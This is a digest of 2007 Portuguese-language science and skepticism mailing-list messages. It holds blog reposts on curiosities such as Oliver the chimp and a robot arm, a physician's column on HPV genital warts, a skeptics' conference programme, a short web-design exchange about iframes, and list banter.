promovido variadamente como o Elo Perdido, um h�brido humano-chimpanz�,
anomalia, muta��o� Mas apesar de seu aspecto e comportamento, Oliver �
geneticamente apenas um chimpanz� normal. Ele continua vivo, e h� pouco o
teste gen�tico foi conduzido. Voc� confere acima a primeira parte de um
document�rio em ingl�s sobre o macaco, o restanto pode ser visto em haha.nu:
Oliver the Chimp <http://haha.nu/amazing/oliver-the-chimp/>.
Vale lembrar que em 2004 uma macaca, Natasha, tamb�m passou a andar sobre
duas pernas <http://www.ceticismoaberto.com/news/?p=414>, causando como��o.
Bastou uma dor de barriga para tal.
Veja tamb�m

- S�mios de Bondo: chimpanz�s<http://www.ceticismoaberto.com/news/?p=749>O
macaco visto h� dois anos na Rep�blica Democr�tica d...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=414>Macaca passa a andar sobre
duas pernas E n�o s� isso: Natasha, uma maca...
- A Aut�psia Alien <http://www.ceticismoaberto.com/news/?p=668> Clique
na imagem acima para assistir ao infame v�deo da aut�...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=314>Feto sim, n�o, alien n�o.
O Pravda n�o � a melhor fonte, mas noticia ...
- Esqueleto humano gigante na
It�lia<http://www.ceticismoaberto.com/news/?p=865>O s�tio "Wooster
Collective", dedicado a "celebrar arte ef�me...

Postado em Criptozoologia <http://www.ceticismoaberto.com/news/?cat=9>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Personalidades<http://www.ceticismoaberto.com/news/?cat=5>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=962#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Enigmas Misteriosos do Desconhecido: o Mistério dos Falos de Cristal
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:09

Enigmas Misteriosos do Desconhecido: o Mistério dos Falos de
Cristal<http://www.ceticismoaberto.com/news/?p=963>

<http://100nexos.com/arquivo/268>
*Não assista no trabalho!* Ou se for menor de idade! Ou se não souber o que
é um falo!
Veja também

- Círculos nas plantações: agora em
cores<http://www.ceticismoaberto.com/news/?p=870>Clique na imagem para
visitar o sítio da empresa alemã Artfi...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=60>Modelo do Universo em
cristal Um cristal com um modelo não só de nossa ...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=541> El
chupacabras texano resultó ser un simple coyote Coiote com sarna conf...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=174>Gran Finale Ao contrário
do escrito mais abaixo, a temporada de "misteri...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=368>Primeiro círculo inglês do
ano O crescimento da complexidade dos mister...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Fortianismo<http://www.ceticismoaberto.com/news/?cat=4>| Por Mori
Comente!
» <http://www.ceticismoaberto.com/news/?p=963#respond>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Truques de mágica viram alvo de estudo científico
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:10

Truques de mágica viram alvo de estudo
científico<http://www.ceticismoaberto.com/news/?p=964>

<http://noticias.terra.com.br/ciencia/interna/0,,OI1854681-EI8147,00.html>
"Permita que as pessoas façam suposições", disse Randi, "e elas se
convencerão de que a suposições são fatos. O que não é necessariamente
verdade". Clique na imagem para ler o artigo traduzido do New York Times,
indicado por Fabricio Fleck na lista
CA<http://br.groups.yahoo.com/group/ceticismoaberto/>
.
Veja também

- Brasil entra na busca por seres vivos fora da
Terra<http://www.ceticismoaberto.com/news/?p=753>Um
grupo de pesquisadores brasileiros está se articulando para entra...
- Boa notícia: Semciência de
novo<http://www.ceticismoaberto.com/news/?p=837>Depois
de alguns meses, Osame Kinouchi volta a atualizar seu blog cient&iac...
- Projétil de Energia em Pulso
(PEP)<http://www.ceticismoaberto.com/news/?p=700>DefenseTech
informa: O Projétil de Energia em Pulso (PEP) dispara u...
- Cirurgias mediúnicas
falsas<http://www.ceticismoaberto.com/news/?p=849>"Neste vídeo o
mágico James Randi demonstra como é f&...
- Estimulação magnética transcraniana
repetitiva<http://www.ceticismoaberto.com/news/?p=706>Artigo on-line
da revista do IEEE, Psychiatry's Shocking New Tools, apres...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Ciência <http://www.ceticismoaberto.com/news/?cat=11>,
Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5> | Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=964#respond>


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SUBJECT: Redimensionamento inteligente de imagens: experimente!
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:11

Redimensionamento inteligente de imagens:
experimente!<http://100nexos.com/arquivo/263><http://100nexos.com/arquivo/263#respond>

<http://swieskowski.net/carve/>
Aquele algoritmo revolucionário de redimensionamento de
imagens<http://www.meiobit.com/software/algoritmo_revolucion_rio_de_redimensionamento_de_imagens>,
que remove apenas as partes menos relevantes, preservando os elementos
principais, foi aplicado em um demo para que você experimente! Confira acima
nosso redimensionamento da maravilha moderna paulista, o Borba Gato. Note
como na imagem redimensionada de forma "inteligente" à direita uma série de
casas desinteressante foi apagada. Experimente você também
aqui<http://swieskowski.net/carve/>
.
O demo foi produzido em Flash, e tem limitações da plataforma que fazem com
que na prática, você só possa usar imagens do Flickr
<http://flickr.com/>que tenham a opção para download em "All sizes". É
também lento, e permite
notar as limitações do algoritmo quando ele remove as pernas do herói
bandeirante. Mas o simples fato de que foi possível implementá-lo tão rápido
com resultados aceitáveis é uma boa indicação de que em breve deve estar
disponível amplamente. [via
TechCrunch<http://www.techcrunch.com/2007/08/30/image-resizing-third-party-online-demo-up/>
]

*Veja também:*
Autostitch: Crie panoramas fantásticos com três
cliques<http://100nexos.com/arquivo/63>O Autostitch é um programa
gratuito fenome...
Design inteligente <http://100nexos.com/arquivo/183> "Eu acho que entendo
por que Deus decidiu se livr...
Melhor que o iPhone <http://100nexos.com/arquivo/186> O mundo aguarda a
chegada do monolito negro mais ...
As imagens mais detalhadas do planeta
Terra<http://100nexos.com/arquivo/219>Espetacular imagem de nosso
pálido ponto a...
Como endireitar a Torre de Pisa <http://100nexos.com/arquivo/152> Imagem
ganhadora de melhor ilusão visual d...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Pirocóptero humanitário
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:11

Pirocóptero humanitário
<http://100nexos.com/arquivo/264><http://100nexos.com/arquivo/264#respond>

<http://www.youtube.com/watch?v=duFV6AS2u7Q>
Confira as "copterboxes", uma alternativa no despejo de caixas a partir de
aviões, geralmente lançadas com enormes e caros pára-quedas. Nas
Copterboxes, há apenas algo para mantê-lo na posição correta, e a queda é
controlada por hélices de papelão. A idéia é muito interessante, mas seu
problema é o peso limitado a apenas 45 Kg por caixa. Provavelmente porque as
hélices são de papelão. Não sei se versões com materiais diferentes para
pesos maiores não seriam viáveis, ou não acabariam ficando mais caras que as
caixas convencionais. Bem, no mínimo o vídeo que você confere clicando na
imagem acima é bem legal.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Ciência Gostosa
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:12

Ciência Gostosa <http://100nexos.com/arquivo/265>Assista ao
vídeo<http://100nexos.com/arquivo/265>
<http://100nexos.com/arquivo/265#respond>

Não achei nada ruim, embora os mais puritanos sem dúvida condenem. Sou fã
da série britânica similar (mas bem melhor, é preciso dizer), Brainiac
Science Abuse <http://www.skyone.co.uk/brainiac/Default.aspx?pid=1>, que
apesar de por muitas vezes vulgarizar e mesmo distorcer conceitos
científicos, em minha humilde opinião ainda é essencialmente positiva ao
simplesmente apresentar a ciência como algo positivo e divertido. A série
inglesa nunca promoveu pseudociências e religiões, como a revista SUPER faz,
é preciso dizer também. Sua vulgarização se resume a mostrar garotas de
biquíni queimando coisas e as distorções a apresentar experimentos e testes
científicos sem muito controle como quanto tempo uma pessoa fica grudada na
parede com fita crepe. Nesse último ponto, são tão bons ou ruins quanto os
mais respeitados Mythbusters.
Mas já que a SUPER desenvolveu a idéia, deveriam ter colocado a garota de
biquíni.

*Veja também:*
A Vingança de Jessica Alba <http://100nexos.com/arquivo/255> Eleita a
"Gostosa" do Teen Choice Awards de 2007,...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Braço robô com movimentos fluidos pede ajuda
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:13

Braço robô com movimentos fluidos pede ajuda<http://100nexos.com/arquivo/266>

<http://www.festo.com/INetDomino/coorp_sites/en/1e70ac4a67fcfb11c12572d0004d3d44.htm>
Clique na imagem para assistir ao vídeo de demonstração do braço robô
"Airic" da companhia Festo. Modelado com base em ossos e músculos humanos
(em um total de 30), os movimentos e a aparência são impressionantes.
Lembram criações fictícias famosas como a do filme recente Eu,
Robô<http://www.youtube.com/watch?v=YrnQ1b178No>,
ou do clipe All is Full of Love <http://www.youtube.com/watch?v=EjAoBKagWQA>de
Björk.
Na vida real, contudo, braços robôs com mecanismos pneumáticos ou
hidráulicos são muito imprecisos. Se você notar no vídeo do braço Airic,
verá como ele escreve um "Hello" deformado (parecendo um "Help"
agoniado!<http://www.engadget.com/2007/08/30/robot-arm-issues-subtle-plea-for-help-in-promotional-video/>).
É por isso que robôs de verdade, como o Asimo, usam servo-motores. Menos
elegantes, mas fazem aquele barulhinho robótico em compensação.

*Veja também:*
Baiano: uma "Besta Chifruda Bípede" <http://100nexos.com/arquivo/253> Calma,
este blog não tem nada contra baian...
Autostitch: Crie panoramas fantásticos com três
cliques<http://100nexos.com/arquivo/63>O Autostitch é um programa
gratuito fenome...
Como converter a codificação de um blog
Wordpress<http://100nexos.com/arquivo/20>Caso
você tenha um blog inteiro na codificaç...
Previsões para os sucessores do Vista <http://100nexos.com/arquivo/43>O
Windows Vista deve começar a ser vendido ...
O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> Há
pouco um novo filme do dia fatíd...


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SUBJECT: Projetos científicos em quadrinhos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 01/09/2007 14:14

Projetos científicos em quadrinhos <http://100nexos.com/arquivo/267>

<http://www.howtoons.com/>
O sítio americano Howtoons <http://www.howtoons.com/> disponibiliza para
download gratuito instruções em quadrinhos para projetos de feiras de
ciência que podem interessar crianças, de um submarino com garrafas de
refrigerante a uma pistola de marshmallow. Nada como o
imperdível<http://www.feiradeciencias.com.br/>,
mas ainda assim muito bom.

*Veja também:*
Documentários científicos legendados em
português<http://100nexos.com/arquivo/143>Acima você confere o spot de
seis minutos, ...
Colonizando o Universo com bombas
nucleares<http://100nexos.com/arquivo/235>De todos os sonhos dos anos
dourados do sé...
Feng Shui mata <http://100nexos.com/arquivo/254> Uma ponte chinesa que
desabou matando 41 pessoas ...


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SUBJECT: CONDILOMATOSE
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 01/09/2007 23:02

__________________________________________________________________


DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 01/09/2007 - No.059 – ANO II
http://br.groups.yahoo.com/group/saudeparatodos


© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).
___________________________________________________________________


Olá,


a medida em que avançamos pelo Século XXI, a dupla AIDS / HIV segue mantendo a liderança na audiência quando se fala de Doenças Sexualmente Transmissíveis (DST). De Renato Russo a Rock Hudson, passando por Cazuza e Magic Johnson, o time de estrelas do HIV apagou as poucas luzes que sobravam para Sífilis, Gonorréia ou Cancro.

Em parte, isso é até compreensível: a Organização Mundial de Saúde calcula que, por volta do ano de 2030, as mortes causadas pelo HIV só perderão em número para as doenças cardiovasculares e o câncer.

Mas existem outras DST que devem ser mantidas no seu campo de visão. A Condilomatose é uma delas. Apenas nos EUA, esta doença afeta mais de 1 milhão de pessoas anualmente, sendo considerada a DST mais comum de todas desde 1995.

Se você quiser saber mais sobre a Condilomatose, basta conferir a crônica de hoje, que segue logo abaixo. E lembre-se: o blog www.dralessandroloiola.blogspot.com é todo seu para comentários e sugestões.

Um abraço,

Dr. Alessandro Loiola.

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Condilomatose

© Dr. Alessandro Loiola


Eu já estava queimando os últimos neurônios tentando entender porque aquele sujeito havia marcado uma consulta - afinal, ele negava tudo quanto era sintoma e parecia desfrutar do mais perfeito estado de saúde. Passaram-se vários e vários minutos até que ele criasse coragem, soltando o verbo: estava com “verrugas genitais”. Ah, agora a enrolação fazia sentido.

Um exame rápido e percebi que ele não estava com uma verruga qualquer, mas com uma condilomatose tipo figura de livro, pra estudante de medicina nenhum deixar de fazer o diagnóstico.

A condilomatose é uma doença causada pelo Papiloma Vírus Humano, ou HPV, e se caracteriza por pequenas verrugas indolores na região genital e perianal. Coceira ou irritação local raramente ocorrem, mas em pessoas com alterações no sistema de defesa, a condilomatose pode crescer rapidamente e envolver áreas extensas.

O HPV é altamente contagioso. Aproximadamente 2/3 das pessoas com relato de contato íntimo com alguém infectado pelo HPV desenvolvem condilomatose nos 3 meses seguintes, resultando em milhões de novos casos a cada ano.

As mulheres sexualmente ativas com idade inferior a 25 anos apresentam os maiores índices de infecção pelo HPV, mas o problema também pode acometer crianças e até bebês, devido à exposição durante o parto. Entretanto, a presença de verrugas genitais em uma criança deve levantar sempre a possibilidade de abuso sexual infantil.

Existem vários tratamentos para a Condilomatose e nenhum é considerado superior ao outro. A estratégia é eliminar o máximo de lesões visíveis, até que o sistema imune seja capaz de eliminar definitivamente o vírus (a maioria dos casos de Condilomatose regride espontaneamente após um certo tempo).

A escolha por um ou outro tratamento dependerá da experiência pessoal do médico, do estágio da doença, do comportamento sexual da pessoa e do estado do seu sistema de defesa, entre outros fatores. Em todos os casos, é recomendável fazer uma reavaliação após 3 e 6 meses de tratamento para detectar e tratar precocemente possíveis recidivas.

A principal medida para evitar o HPV continua sendo a prática sexual segura, utilizando corretamente preservativos e evitando a promiscuidade. Em 2006, foi disponibilizada uma vacina que protege contra os principais tipos de HPV, mas o esquema não oferece proteção para quem já se encontra infectado pelo vírus.

Felizmente, apesar de extensa, a doença do nosso amigo do começo da crônica respondeu bem ao tratamento e ele escapou por pouco de repetir a história de um outro que, também acometido por uma baita condilomatose, recebeu a sentença do velho médico generalista em sua cidade natal:

- Infelizmente, nesse estágio não tem mais cura. Vamos ter que cortar!


Sem acreditar, o homem foi em busca de um profissional mais jovem na cidade vizinha, mas o diagnóstico foi o mesmo. Deprimido, decidiu consultar um renomado (e caríssimo) especialista na cidade grande. Depois da consulta paga e algumas horas na sala de espera, o figurão recebe o paciente e olha bem pro rapaz, e olha pro equipamento, e diz tirando as luvas:
- A boa notícia é que você não vai precisar cortar coisa alguma fora.
O sujeito nem acredita: seu pesadelo acabou!
- Então existe um tratamento para isso, doutor?
- Não, não. Mas não precisa cortar. Vai cair sozinho.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança”. Atualmente reside e clinica em Belo Horizonte, Minas Gerais.
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SUBJECT: Palestras Reflexões 2007 - I Jornada em defesa do pensamento científico
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 02/09/2007 22:35

Palestras Reflexões 2007 - I Jornada em defesa do pensamento
científico<http://www.ceticismoaberto.com/news/?p=967>

<http://www.haaan.com/reflexoes/>
A disciplina de Metodologia Científica do Instituto de Geociências da USP e
a Sociedade Brasileira de Céticos e Racionalistas
(SBCR<http://www.igc.usp.br/>)
promovem uma jornada informativa de palestras que procuram lançar um olhar
racional e científico sobre o cotidiano, afastando o pensamento mistificador
e obscurantista que muitas vezes predomina em nossa sociedade.

*Programação*: 18 de setembro (terça-feira) das 9h10 às 20h00.
09h10 a 09h30 Abertura, Prof. Drs. Arlei Benedito Macedo (USP) e Renato
Sabbatini (UNICAMP)
09h40 a 10h20 Analfabetismo científico, Prof. Dr. Renato Sabbatini (Unicamp)
10h20 a 10h40 Café
10h40 a 11h20 Criacionismo, Prof. Dr. Mário de Pinna (USP)
11h30 a 12h10 Como vender o pensamento não-científico, Prof. Dr. Francisco
Stefano Wechsler (UNESP)
12h10 a 14h00 Almoço
14h00 a 14h40 Sensacionalismo e Jornalismo Científico, Ulisses Capozzoli -
Astronomy Brasil)
14h50 a 15h30 Pensamento Crítico - Panorama da América Latina, Sr. Alejandro
J. Borgo (Pensar - CFI/Argentina)
15h30 a 15h50 Café
15h50 a 16h30 A defesa do pensamento científico nas universidades e centros
de pesquisa (mesa-redonda)
16h40 a 17h10 Resultados preliminares da pesquisa sobre Pseudociências
(alunos do LIGEA)
19h00 a 19h40 Ilusões e equívocos do pensamento humano, Dr. Sérgio Navega -
(Intelliwise Research and Training).
19h40 a 20h00 Sumário e encerramento, Prof. Dr. Francisco Stefano Wechsler -
UNESP)
Haverá o sorteio de exemplares do livro "*Pensamento Crítico e Argumentação
Sólida*" de Sérgio Navega (2005, Publicações Intelliwise, 312 pp.) e da
revista *Pensar* (CSI).

*Faça sua inscrição*
A taxa de inscrição é de R$45,00, pagável antecipadamente por depósito ou
boleto bancário. No dia do evento a inscrição poderá ser completada mediante
o pagamento da taxa de R$60,00. Estudantes contam com um desconto na taxa de
inscrição, bastando apresentar um comprovante de matrícula em instituição de
ensino. A taxa de inscrição com desconto para estudantes é de R$30,00,
pagável antecipadamente, ou de R$45,00 no dia do evento. Alunos,
funcionários e docentes do Instituto de Geociências da USP estão isentos do
pagamento da taxa de inscrição.
Para iniciar sua inscrição, preencha e envie o
formulário<http://www.haaan.com/reflexoes/>,
ou envie seus dados diretamente ao e-mail palestrasreflexoes2007@gmail.com

*Local do evento*
Instituto de Geociências - Rua do Lago, 562 - Cidade Universitária - SP

*Dúvidas*
Para mais informações, visite a página Reflexões
2007<http://www.haaan.com/reflexoes/>ou entre em contato através do
e-mail:
palestrasreflexoes2007@gmail.com

http://www.haaan.com/reflexoes/
<palestrasreflexoes2007@gmail.com>


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SUBJECT: Re: [ciencialist] Palestras Reflexões 2007 - I Jornada em defesa do pensamento científico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <UFO_PORTUGAL@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 03/09/2007 06:45

Como é Roberto, vamos nessa?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>; <UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
Enviada em: domingo, 2 de setembro de 2007 22:35
Assunto: [ciencialist] Palestras Reflexões 2007 - I Jornada em defesa do pensamento científico


Palestras Reflexões 2007 - I Jornada em defesa do pensamento
científico<http://www.ceticismoaberto.com/news/?p=967>

<http://www.haaan.com/reflexoes/>
A disciplina de Metodologia Científica do Instituto de Geociências da USP e
a Sociedade Brasileira de Céticos e Racionalistas
(SBCR<http://www.igc.usp.br/>)
promovem uma jornada informativa de palestras que procuram lançar um olhar
racional e científico sobre o cotidiano, afastando o pensamento mistificador
e obscurantista que muitas vezes predomina em nossa sociedade.

*Programação*: 18 de setembro (terça-feira) das 9h10 às 20h00.
09h10 a 09h30 Abertura, Prof. Drs. Arlei Benedito Macedo (USP) e Renato
Sabbatini (UNICAMP)
09h40 a 10h20 Analfabetismo científico, Prof. Dr. Renato Sabbatini (Unicamp)
10h20 a 10h40 Café
10h40 a 11h20 Criacionismo, Prof. Dr. Mário de Pinna (USP)
11h30 a 12h10 Como vender o pensamento não-científico, Prof. Dr. Francisco
Stefano Wechsler (UNESP)
12h10 a 14h00 Almoço
14h00 a 14h40 Sensacionalismo e Jornalismo Científico, Ulisses Capozzoli -
Astronomy Brasil)
14h50 a 15h30 Pensamento Crítico - Panorama da América Latina, Sr. Alejandro
J. Borgo (Pensar - CFI/Argentina)
15h30 a 15h50 Café
15h50 a 16h30 A defesa do pensamento científico nas universidades e centros
de pesquisa (mesa-redonda)
16h40 a 17h10 Resultados preliminares da pesquisa sobre Pseudociências
(alunos do LIGEA)
19h00 a 19h40 Ilusões e equívocos do pensamento humano, Dr. Sérgio Navega -
(Intelliwise Research and Training).
19h40 a 20h00 Sumário e encerramento, Prof. Dr. Francisco Stefano Wechsler -
UNESP)
Haverá o sorteio de exemplares do livro "*Pensamento Crítico e Argumentação
Sólida*" de Sérgio Navega (2005, Publicações Intelliwise, 312 pp.) e da
revista *Pensar* (CSI).

*Faça sua inscrição*
A taxa de inscrição é de R$45,00, pagável antecipadamente por depósito ou
boleto bancário. No dia do evento a inscrição poderá ser completada mediante
o pagamento da taxa de R$60,00. Estudantes contam com um desconto na taxa de
inscrição, bastando apresentar um comprovante de matrícula em instituição de
ensino. A taxa de inscrição com desconto para estudantes é de R$30,00,
pagável antecipadamente, ou de R$45,00 no dia do evento. Alunos,
funcionários e docentes do Instituto de Geociências da USP estão isentos do
pagamento da taxa de inscrição.
Para iniciar sua inscrição, preencha e envie o
formulário<http://www.haaan.com/reflexoes/>,
ou envie seus dados diretamente ao e-mail palestrasreflexoes2007@gmail.com

*Local do evento*
Instituto de Geociências - Rua do Lago, 562 - Cidade Universitária - SP

*Dúvidas*
Para mais informações, visite a página Reflexões
2007<http://www.haaan.com/reflexoes/>ou entre em contato através do
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http://www.haaan.com/reflexoes/
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Página de apoio
http://www.ciencialist.com


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SUBJECT: Re: Palestras Reflexões 2007 - I Jornada em defesa do pensamento científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/09/2007 10:42

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Como é Roberto, vamos nessa?

Posso confirmar sua presença então?

[]s,

Roberto Takata



SUBJECT: Re: FDC com iframe
FROM: Eduardo AM <eduardoam1978@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/09/2007 11:31

Eu iria justamente indicar o iframe (*rs), quando li sua outra mensagem.
Na verdade utilizando a tag IFRAME reduziria ate mesmo o trafego do site
pois somente o que muda eh o conteudo da sala em questao, correto? O
menu eh sempre o mesmo? Existe um movimento/vertente, conhecida como
"tableless" baseada na tao falada web 2.0, onde reestruturamos as
paginas utilizando as tags corretas para cada fim.
Acredito que uma reforma no site (somente estetica, o conteudo ja eh
aclamado!) poderia deixa-lo mais atrativo a parcerias com Petrobras,
universidades etc. Bem, estou aqui falando (e falar eh facil), mas
converter todas as paginas daria um trabalhinho *rs, mas seria um
investimento!

[]s,
Proffano

Luiz Ferraz Netto escreveu:
> Não entendo de programação mas, acredito, que trocar 'include' por 'iframe' não seja uma solução tão simples. Para começar, todas as páginas deverão ser alteradas para estrutura de 'quadros' e especificado o local dos frames. Acho.
>
> Mas, parece-se que tive uma 'inspiração divina'; por que não substituir a instrução 'include' por um pequeno 'script' que faça a operação desejada?
>
> Não sei escrever esse 'script' mas, para um programador parece-se que será coisa de segundos!
> Assim, como tenho um software de 'procura e troca', fazer essa alteração seria uma barbada ... e tudo o mais continuaria como está!
>
> Fico no aguardo desse 'anjo' que torne real essa 'inspiração divina'.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "heber" <heber2000@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 31 de agosto de 2007 14:25
> Assunto: RES: [ciencialist] Re: FDC - Leo
>
> Não precisa usar include, dá pra fazer em HTML puro usando o comando iframe.
>
>
> Att,
>
> H


SUBJECT: Terra
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 03/09/2007 13:09

Considere-se rico...

http://www.miniature-earth.com/me_portugues.htm


SUBJECT: World Clock
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 03/09/2007 13:53

Vejam este link:
http://www.poodwaddle.com/worldclock.swf


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Terra
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/09/2007 14:35

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> Considere-se rico...

Quero minha parte em dinheiro.

[]s,

Roberto Takata



SUBJECT: Cientistas apontam possível relação entre desodorante e câncer de mama
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/09/2007 17:13

Preparem seus filtros anti-spam...

http://noticias.bol.uol.com.br/brasil/2007/09/03/ult1766u23497.jhtm

Cientistas apontam possível relação entre desodorante e câncer de mama
Londres, 3 set (EFE).- Um estudo de cientistas da Universidade de
Keele (centro da Inglaterra) aponta a possibilidade de que o uso
freqüente de desodorantes com efeito antitranspirante propicie a
aparição de casos de câncer de mama.

Essa hipótese, publicada no último número da revista científica
"Journal of Inorganic Biochemistry", é fruto de uma pesquisa que os
especialistas fizeram com 17 mulheres que tinham sido submetidas a uma
mastectomia no hospital de Wythenshawe, na localidade inglesa de
Manchester.

Os cientistas acharam nos tecidos mamários elevados níveis de
alumínio, substância que compõe 90% dos agentes antitranspirantes da
maioria dos desodorantes que tentam evitar a sudorese.

Além disso, os especialistas observaram que as maiores concentrações
de alumínio, substância que estudos anteriores relacionaram com o
câncer de mama, se encontravam na zona do peito próxima às axilas, na
qual geralmente se aplica este tipo de produtos e onde se detectam a
maioria de tumores deste tipo.

O estudo foi feito com "apenas 17 pacientes, mas os dados que mostram
uma maior concentração de alumínio na região próxima às axilas são
estatisticamente significantes. Não pode ter acontecido por acaso",
assegura Chris Exley, responsável por esta pesquisa.

"A maior concentração de alumínio na parte exterior do seio pode ser
explicada pela proximidade desta região à axila, onde se costuma
aplicar a maior parte das substâncias antitranspirantes", acrescenta
Exley, lembrando que estudos anteriores indicam que a pele é permeável
a este elemento.

Os cientistas, que por enquanto não conseguiram esclarecer totalmente
a relação entre desodorante e câncer de mama, analisam a possibilidade
de que o tecido que já desenvolveu o tumor atue como uma espécie de
"corredor" para o alumínio, daí a alta concentração desta substância.

[]s
--



SUBJECT: Re: Terra
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 12:17

Eu nunca gostei das aulas de estatísticas na faculdade.
Além do que, pode-se usá-la para defender qualquer argumento.
Mas tenho 100% de certeza que 78,8% irão comcordar comigo, muito
embora qu ache que 23% serão criteriosos na análise e 5% terão mais
dificuldade para endender esta frase.

[]s,
Pierre
www.piada.net

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu
>
> Considere-se rico...
>
> http://www.miniature-earth.com/me_portugues.htm
>




SUBJECT: Re: Terra
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/09/2007 12:39

7 em 5 pessoas não gostam de estatística.

A cada 10 pessoas, 8 têm sérias dificuldades, 2 têm dificuldades
